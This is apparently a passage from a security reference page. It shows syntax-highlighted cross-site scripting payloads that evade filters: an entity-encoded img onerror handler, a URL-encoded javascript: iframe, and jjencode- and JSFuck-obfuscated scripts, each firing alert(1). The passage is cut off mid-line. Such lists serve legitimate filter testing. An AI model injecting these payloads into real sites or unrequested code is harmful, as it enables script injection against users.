<a id="__codelineno-82-2" name="__codelineno-82-2" href="#__codelineno-82-2"></a><span class="o"><</span><span class="nx">img</span><span class="w"> </span><span class="nx">src</span><span class="o">=</span><span class="s2">"1"</span><span class="w"> </span><span class="nx">onerror</span><span class="o">=</span><span class="s2">"&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;"</span><span class="w"> </span><span class="o">/></span>
|
||
<a id="__codelineno-82-3" name="__codelineno-82-3" href="#__codelineno-82-3"></a><span class="o"><</span><span class="nx">iframe</span><span class="w"> </span><span class="nx">src</span><span class="o">=</span><span class="s2">"javascript:%61%6c%65%72%74%28%31%29"</span><span class="o">><</span><span class="err">/iframe></span>
|
||
<a id="__codelineno-82-4" name="__codelineno-82-4" href="#__codelineno-82-4"></a><span class="o"><</span><span class="nx">script</span><span class="o">></span><span class="nx">$</span><span class="o">=~</span><span class="p">[];</span><span class="nx">$</span><span class="o">=</span><span class="p">{</span><span class="nx">___</span><span class="o">:++</span><span class="nx">$</span><span class="p">,</span><span class="nx">$$$$</span><span class="o">:</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="s2">""</span><span class="p">)[</span><span class="nx">$</span><span class="p">],</span><span class="nx">__$</span><span class="o">:++</span><span class="nx">$</span><span class="p">,</span><span class="nx">$_$_</span><span class="o">:</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="s2">""</span><span class="p">)[</span><span class="nx">$</span><span class="p">],</span><span class="nx">_$_</span><span class="o">:++</span><span class="nx">$</span><span class="p">,</span><span class="nx">$_$$</span><span class="o">:</span><span class="p">({}</span><span class="o">+</span><span class="s2">""</span><span class="p">)[</span><span class="nx">$</span><span class="p">],</span><span class="nx">$$_$</span><span class="o">:</span><span class="p">(</span><span class="nx">$</span><span class="p">[</span><span class="nx">$</span><span class="p">]</span><span class="o">+</span><span class="s2">""</span><span class="p">)[</span><span class="nx">$</span><span class="p">],</span><span class="nx">_$$</span><span class="o">:++</span><span class="nx">$</span><span class="p">,</span><span class="nx">$$$_</span><span class="o">:</span><span class="p">(</span><span class="o">!</span><span class="s2">""</span><span class="o">+</span><span class="s2">""</span><span class="p">)[</span><span class="nx">$</span><span class="p">],</span><span class="nx">$__</span><span class="o">:++</span><span class="nx">$</span><span class="p">,</span><span class="nx">$_$</span><span class="o">:++</span><span class="nx">$</span><span class="p">,</span><span class="nx">$$__</span><span class="o">:</span><span class="p">({}</span><span class="o">+</span><span class="s2">""</span><span class="p">)[</span><span class="nx">$</span><span class="p">],</span><span class="nx">$$_</span><span class="o">:++</span><span class="nx">$</span><span class="p">,</span><span class="nx">$$$</span><span class="o">:++</span><span class="nx">$</span><span class="p">,</span><span class="nx">$___</span><span class="o">:++</span><span class="nx">$</span><span class="p">,</span><span class="nx">$__$</span><span class="o">:++</span><span class="nx">$</span><span class="p">};</span><span class="nx">$</span><span class="p">.</span><span class="nx">$_</span><span class="o">=</span><span class="p">(</span><span class="nx">$</span><span class="p">.</span><span class="nx">$_</span><span class="o">=</span><span class="nx">$</span><span class="o">+</span><span class="s2">""</span><span class="p">)[</span><span class="nx">$</span><span class="p">.</span><span class="nx">$_$</span><span class="p">]</span><span class="o">+</span><span class="p">(</span><span class="nx">$</span><span class="p">.</span><span class="nx">_$</span><span class="o">=</span><span class="nx">$</span><span class="p">.</span><span class="nx">$_</span><span class="p">[</span><span class="nx">$</span><span class="p">.</span><span class="nx">__$</span><span class="p">])</span><span class="o">+</span><span class="p">(</span><span class="nx">$</span><span class="p">.</span><span class="nx">$$</span><span class="o">=</span><span class="p">(</span><span class="nx">$</span><span class="p">.</span><span class="nx">$</span><span class="o">+</span><span class="s2">""</span><span class="p">)[</span><span class="nx">$</span><span class="p">.</span><span class="nx">__$</span><span class="p">])</span><span class="o">+</span><span class="p">((</span><span class="o">!</span><span class="nx">$</span><span class="p">)</span><span class="o">+</span><span class="s2">""</span><span class="p">)[</span><span class="nx">$</span><span class="p">.</span><span class="nx">_$$</span><span class="p">]</span><span class="o">+</span><span class="p">(</span><span class="nx">$</span><span class="p">.</span><span class="nx">__</span><span class="o">=</span><span class="nx">$</span><span class="p">.</span><span class="nx">$_</span><span class="p">[</span><span class="nx">$</span><span class="p">.</span><span class="nx">$$_</span><span class="p">])</span><span class="o">+</span><span class="p">(</span><span class="nx">$</span><span class="p">.</span><span class="nx">$</span><span class="o">=</span><span class="p">(</span><span class="o">!</span><span class="s2">""</span><span class="o">+</span><span class="s2">""</span><span class="p">)[</span><span class="nx">$</span><span class="p">.</span><span class="nx">__$</span><span class="p">])</span><span class="o">+</span><span class="p">(</span><span class="nx">$</span><span class="p">.</span><span class="nx">_</span><span class="o">=</span><span class="p">(</span><span class="o">!</span><span class="s2">""</span><span class="o">+</span><span class="s2">""</span><span class="p">)[</span><span class="nx">$</span><span class="p">.</span><span class="nx">_$_</span><span class="p">])</span><span class="o">+</span><span class="nx">$</span><span class="p">.</span><span class="nx">$_</span><span class="p">[</span><span class="nx">$</span><span class="p">.</span><span class="nx">$_$</span><span class="p">]</span><span class="o">+</span><span class="nx">$</span><span class="p">.</span><span class="nx">__</span><span class="o">+</span><span class="nx">$</span><span class="p">.</span><span class="nx">_$</span><span class="o">+</span><span class="nx">$</span><span class="p">.</span><span class="nx">$</span><span class="p">;</span><span class="nx">$</span><span class="p">.</span><span class="nx">$$</span><span class="o">=</span><span class="nx">$</span><span class="p">.</span><span class="nx">$</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="s2">""</span><span class="o">+</span><span class="s2">""</span><span class="p">)[</span><span class="nx">$</span><span class="p">.</span><span class="nx">_$$</span><span class="p">]</span><span class="o">+</span><span class="nx">$</span><span class="p">.</span><span class="nx">__</span><span class="o">+</span><span class="nx">$</span><span class="p">.</span><span class="nx">_</span><span class="o">+</span><span class="nx">$</span><span class="p">.</span><span class="nx">$</span><span class="o">+</span><span class="nx">$</span><span class="p">.</span><span class="nx">$$</span><span class="p">;</span><span class="nx">$</span><span class="p">.</span><span class="nx">$</span><span class="o">=</span><span class="p">(</span><span class="nx">$</span><span class="p">.</span><span class="nx">___</span><span class="p">)[</span><span class="nx">$</span><span class="p">.</span><span class="nx">$_</span><span class="p">][</span><span class="nx">$</span><span class="p">.</span><span class="nx">$_</span><span class="p">];</span><span class="nx">$</span><span class="p">.</span><span class="nx">$</span><span class="p">(</span><span class="nx">$</span><span class="p">.</span><span class="nx">$</span><span class="p">(</span><span class="nx">$</span><span class="p">.</span><span class="nx">$$</span><span class="o">+</span><span class="s2">"\""</span><span class="o">+</span><span class="nx">$</span><span class="p">.</span><span class="nx">$_$_</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="s2">""</span><span class="p">)[</span><span class="nx">$</span><span class="p">.</span><span class="nx">_$_</span><span class="p">]</span><span class="o">+</span><span class="nx">$</span><span class="p">.</span><span class="nx">$$$_</span><span class="o">+</span><span class="s2">"\\"</span><span class="o">+</span><span class="nx">$</span><span class="p">.</span><span class="nx">__$</span><span class="o">+</span><span class="nx">$</span><span class="p">.</span><span class="nx">$$_</span><span class="o">+</span><span class="nx">$</span><span class="p">.</span><span class="nx">_$_</span><span class="o">+</span><span class="nx">$</span><span class="p">.</span><span class="nx">__</span><span class="o">+</span><span class="s2">"("</span><span class="o">+</span><span class="nx">$</span><span class="p">.</span><span class="nx">___</span><span class="o">+</span><span class="s2">")"</span><span class="o">+</span><span class="s2">"\""</span><span class="p">)())();</span><span class="o"><</span><span class="err">/script></span>
|
||
<a id="__codelineno-82-5" name="__codelineno-82-5" href="#__codelineno-82-5"></a><span class="o"><</span><span class="nx">script</span><span class="o">></span><span class="p">(</span><span class="o">+</span><span class="p">[])[([][(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([</span><span class="o">!</span><span class="p">[]]</span><span class="o">+</span><span class="p">[][[]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[][(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([</span><span class="o">!</span><span class="p">[]]</span><span class="o">+</span><span class="p">[][[]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">([][[]]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([][[]]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([][(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([</span><span class="o">!</span><span class="p">[]]</span><span class="o">+</span><span class="p">[][[]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[][(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([</span><span class="o">!</span><span class="p">[]]</span><span class="o">+</span><span class="p">[][[]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]][([][(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([</span><span class="o">!</span><span class="p">[]]</span><span class="o">+</span><span class="p">[][[]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[][(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([</span><span class="o">!</span><span class="p">[]]</span><span class="o">+</span><span class="p">[][[]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">([][[]]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([][[]]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([][(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([</span><span class="o">!</span><span class="p">[]]</span><span class="o">+</span><span class="p">[][[]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[][(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([</span><span class="o">!</span><span class="p">[]]</span><span class="o">+</span><span class="p">[][[]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]]((</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([][([][(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([</span><span class="o">!</span><span class="p">[]]</span><span class="o">+</span><span class="p">[][[]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[][(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([</span><span class="o">!</span><span class="p">[]]</span><span class="o">+</span><span class="p">[][[]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">([][[]]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([][[]]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([][(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([</span><span class="o">!</span><span class="p">[]]</span><span class="o">+</span><span class="p">[][[]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[][(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([</span><span class="o">!</span><span class="p">[]]</span><span class="o">+</span><span class="p">[][[]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">(</span><span class="o">!!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">[])[[</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([][([][(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">([</span><span class="o">!</span><span class="p">[]]</span><span class="o">+</span><span class="p">[][[]])[</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[</span><span class="o">+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span class="o">+!+</span><span class="p">[]]]</span><span class="o">+</span><span class="p">[])[</span><span class="o">!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]</span><span class="o">+!+</span><span class="p">[]]</span><span class="o">+</span><span class="p">(</span><span class="o">!+</span><span class="p">[]</span><span class="o">+</span><span class="p">[][(</span><span class="o">!</span><span class="p">[]</span><span class="o">+</span><span class="p">[])[</span><span 